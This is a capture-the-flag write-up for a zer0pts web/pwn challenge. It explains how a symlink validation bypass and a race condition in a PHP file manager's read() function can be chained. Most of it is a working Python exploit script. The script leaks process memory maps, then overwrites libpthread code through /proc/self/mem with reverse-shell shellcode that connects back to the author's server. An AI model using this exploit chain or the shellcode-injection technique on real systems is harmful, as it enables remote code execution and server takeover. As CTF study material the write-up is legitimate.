This was a two part challenge, and I have to cover the vulnerability for the web version as well because its used in the final exploit for RCE.
Files can be found here.
The create()
function is as follows:
/**
* Create a new file
*
* @param string $name Filename to create
* @param int $type File type (0:normal/1:symlink)
* @param string $link Path to the real file (when $type=1)
*/
function create($name, $type=0, $target="")
{
$this->validate_filename($name);
if ($type === 0) {
/* Create an empty file */
$fp = @fopen($this->root.$name, "w");
@fwrite($fp, '');
@fclose($fp);
} else {
/* Target file must exist */
$this->assert_file_exists($this->root.$target);
/* Create a symbolic link */
@symlink($target, $this->root.$name); // [ 1 ]
/* This check ensures $target points to inside user-space */
try {
$this->validate_filepath(@readlink($this->root.$name));
} catch(Exception $e) {
/* Revert changes */
@unlink($this->root.$name);
throw $e;
}
}
}
As you can see, you are able to create a normal file, or a symbolic link. Either way, the file name you create is verified to be /[^a-z0-9]/
. There is a symbolic link specific check that calls validate_filepath
to make sure that the symbolic created at [ 1 ]
does not point to a file that is outside the current directory:
function validate_filepath($path)
{
if (strpos($path, "/") === 0) {
throw new Exception('invalid filepath (absolute path)');
} else if (strpos($path, "..") !== false) {
throw new Exception('invalid filepath (outside user-space)');
}
}
The issue though is that the symlink is already created first before the check happens. I don't exactly know why PHP symlink
behaves differently, but essentially, if you do the following steps, then you can bypass this check and create a symlink to ../../../../flag
to get the flag:
-
Create a file named "flag"
-
Create a symlink to "flag", name it "file"
-
Delete "flag". Now, "file" still exists, but it is a dangling symlink to a non-existent "flag"
-
Now, in normal bash / sh, if you use
ln -s ../../../../flag ./file
, it will complain and say that "file" already exists.However, if you use PHP
symlink
, it will actually follow "file" to its non-existent symlink called "flag", and then create a symlink file called "flag". This "flag" symlink will then point to "../../../../flag". So basically you have a chain of symlinks that gofile -> flag -> ../../../../flag
.
At this stage you can just read the file
or flag
to get the real flag from /flag
. Now how does the above let you bypass the validate_filepath()
check in create()
? Well, let's see how its called:
/* This check ensures $target points to inside user-space */
try {
$this->validate_filepath(@readlink($this->root.$name));
} catch(Exception $e) {
/* Revert changes */
@unlink($this->root.$name);
throw $e;
}
@readlink($this->root.$name)
is called, which is essentially @readlink("file")
. Since "file" is a symlink to newly created "flag" (remember the symlink is done before the validation), @readlink("file")
actually returns "flag", which passes the checks! However, "flag" points to "../../../../flag", which lets us read the flag.
Both of these functions have the same bug, but we really only use the one in read()
, so I'll explain that one here:
/**
* Read a file
*
* @param string $name Filename to read
* @param int $offset Offset to read
*/
function read($name, $size=-1, $offset=0)
{
/* Check filename, size and offset */
$this->validate_filename($name);
$this->assert_file_exists($this->root.$name);
$size = $this->validate_bounds($this->root.$name, $size, $offset);
/* This may alleviate heavy disk load. */
usleep(500000);
/* Read contents */
$fp = @fopen($this->root.$name, "r");
@fseek($fp, $offset, SEEK_SET);
$buf = @fread($fp, $size);
@fclose($fp);
return $buf;
}
Looking at it, it seems pretty obvious that the validations are done before the 0.5 second sleep. Within that 0.5 second sleep, there is nothing stopping us from making more requests to delete the file we are reading or etc.
Assuming we use symlinks, we can do the following:
/proc/self/maps
size is 0, so if we try to read it directly with the previous bug, then it won't print anything due tovalidate_bounds()
returning a size of 0. So first, we create a very large file (just create a normal file and write 0xa0000 bytes to it).- Create a symlink to this file. The
$stat()
call invalidate_bounds()
will return0xa0000
since thats the real size of the file. - Next, while the
usleep(500000)
is running, we make another request to delete the symlink, and point it to../../../../proc/self/maps
using the previous bug. - When the final read occurs, it will read
../../../../proc/self/maps
with size =0xa0000
. Sice!
But it didn't work. Turns out, PHPSESSID
is a cookie value that determines your current session. The second thing it does is it prevents race conditions! What do I mean by that? Well, if we send a request to read()
and it hangs at the sleep, then any other request we send will have to wait before PHP handles it.
We first found out about this issue because we couldn't trigger the race condition at all. For some reason, parrot decided to delete /tmp/sess*
files (which are created per PHPSESSID
on the server) after the usleep
in read()
, but before deleting the symlink. Surprisingly, it worked!
Once we found this out, we spent quite a bit of time thinking about how we were gonna delete our session on the server, but I came up with another solution after a little while.
We can craft our own PHPSESSID
, so we can have two sessions in a way where both sessions know about each other's PHPSESSID
. Since we can create files and stuff, the code in index.php
actually does this to sandbox each session:
$userspace = md5(session_id());
$fs = new GuestFS("../root/$userspace/");
Our files are stored in this new directory. Knowing this, we can actually just set up the files in a way where we have one session do a read()
on a symlink that points to a file within a second session! Within that second session, we can delete and re-symlink the file to ../../../../proc/self/maps
and get a leak!
One caveat is that this race window isn't too long. I couldn't get the leaks from remote locally, but luckily Super Guesser has a VPS, and running the leak_maps()
function in my exploit script through there works perfectly and returns a huge /proc/self/maps
output in log.txt
.
Once you have the leaks remotely, they always stay the same (because apache2
just opens new child processes if one of them crashes, and they all share the same exact memory mappings). So the final thing to do was to get RCE.
In order to get RCE, my idea was to overwrite some code within the current process (by using /proc/self/mem
+ write()
). After a lot of trial and error, parrot found that overwriting libpthread
's r-x
region with a bunch of A's would crash the process locally. It would restart automatically but this was good news.
I then went through and started doing this manual binary search locally, where I overwrote the first 0x1000 bytes of the libpthread
r-x
region with "A"s and observed a crash. Then I overwrote 0x800 bytes, then 0x400, etc etc, until I found that overwriting exactly at offset 0x320
of the r-x
region caused a crash, but not anywhere before that.
Knowing this, I got some reverse shell shellcode from https://www.exploit-db.com/exploits/41477, pointed it to our VPS, compiled with nasm -fbin shellcode.asm -o shellcode.bin
, then overwrote offset 0x320 of libpthread
's r-x
region with the shellcode. This spawned a reverse shell, and I got the flag.
#!/usr/bin/env python3
import requests
import threading
from time import sleep
import hashlib
sess1 = {"PHPSESSID":"qweqweqweqwe"}
sess2 = {"PHPSESSID":"asdasdasdasd"}
#url = "http://localhost:8080/"
url = "http://any.ctf.zer0pts.com:9080/"
def create(name, mode, target="", cookies=sess1):
if mode:
conn = requests.post(url, cookies=cookies, data={"mode":"create", "name":name, "type":str(mode) ,"target":target})
else:
conn = requests.post(url, cookies=cookies, data={"mode":"create", "name":name})
def read(filename, offset=0, cookies=sess1):
conn = requests.post(url, cookies=cookies, data={"mode":"read", "name":filename, "offset":offset})
r1 = conn.text
#print(r1)
f = open("log.txt","wb+")
f.write(r1.encode())
f.write(b"\n\n")
f.close()
def write(filename, msg, offset=0, cookies=sess1):
conn = requests.post(url, cookies=cookies, data={"mode":"write","data":msg,"name":filename, "offset":str(offset)})
print(conn.text)
def delete(dest, cookies=sess1):
conn = requests.post(url, cookies=cookies, data={"mode":"delete", "name":dest})
# In order to understand the bug in this function, I would suggest to get a shell in the
# docker container and go to /var/www/root, find your session's folder, and see how each step
# changes the files in there.
def leak_maps():
cookie2_md5 = hashlib.md5(sess2["PHPSESSID"].encode()).hexdigest()
# Delete any existing files of this name
delete("file", sess1)
delete("flag", sess1)
delete("maps", sess1)
delete("file", sess2)
delete("flag", sess2)
delete("maps", sess2)
# ========= SESSION 2 ===========
# Create a "maps" file and make its size huge because /proc/self/maps is
# huge (because apache is beefy af)
create("maps", 0, "", sess2)
write("maps", "A"*0xa0000, 0, sess2)
# Create a symlink to "maps" called "file"
create("file", 1, "maps", sess2)
# ========= SESSION 1 ===========
# Create a file called "flag"
create("flag", 0)
# Create a symlink to "flag" called "file"
create("file", 1, "flag")
# Delete "flag". Now if you check the directory with ls -l, you will see
# that "file" is actually "file -> flag" even though "flag" doesn't exist
delete("flag")
# Create a symlink with target = "../md5(SESS2_PHPSESSID)/file". This works
# now because `@readlink("file")` in `create()` will return "flag", which
# passes the `validate_filepath()` checks. The symlink is still created.
create("file", 1, "../" + cookie2_md5 + "/file")
# Now we need two threads for the race, check each function's code below.
# Note that the race window is small, we had to use a server in europe to
# get lower latency (i couldnt get leaks locally). Play around with the
# sleep in func2() (and maybe add a sleep in func1() idk) to get it to work
# on your machine.
t1 = threading.Thread(target=func1);
t2 = threading.Thread(target=func2);
t1.start()
t2.start()
t1.join()
t2.join()
# In thread 1, we use session 1. We just read the file. This will read and go
# into a sleep for 0.5 seconds.
def func1():
read("file")
# During the sleep from above, we delete the "maps" file in session 2, and
# replace the "file" symlink with "/proc/self/maps" (using the same bug as
# we used above to point session 1's "file" to session 2's "file").
#
# Finally, after the sleep in func1() finishes, it will read /proc/self/maps
# and send us the leaks.
def func2():
sleep(0.1)
delete("maps", sess2)
create("file", 1, "../../../../../proc/self/maps", sess2)
def rce():
delete("file")
delete("flag")
delete("maps")
# Reverse shell shellcode, u just replace this with reverse shell that u
# want, compiled with nasm -fbin
sc = None
with open("./shell.bin", "rb") as f:
sc = f.read()
# Get a handle to /proc/self/mem using the same bugs explained in
# leak_maps()
create("flag", 0)
create("file", 1, "flag")
delete("flag")
create("file", 1, "../../../../../proc/self/mem")
# Overwrite libpthread's r-x section offset 0x320 with shellcode. This
# offset was found using manual binary search locally :megajoy:
#
# It will cause the apache process to crash, and subsequently send a
# reverse shell that you can catch with nc -lvnp 4444
write("file", sc, 0x7f6a7f8e3320)
if __name__ == "__main__":
#leak_maps() # Use this to get leaks, only need to do this once
rce() # sice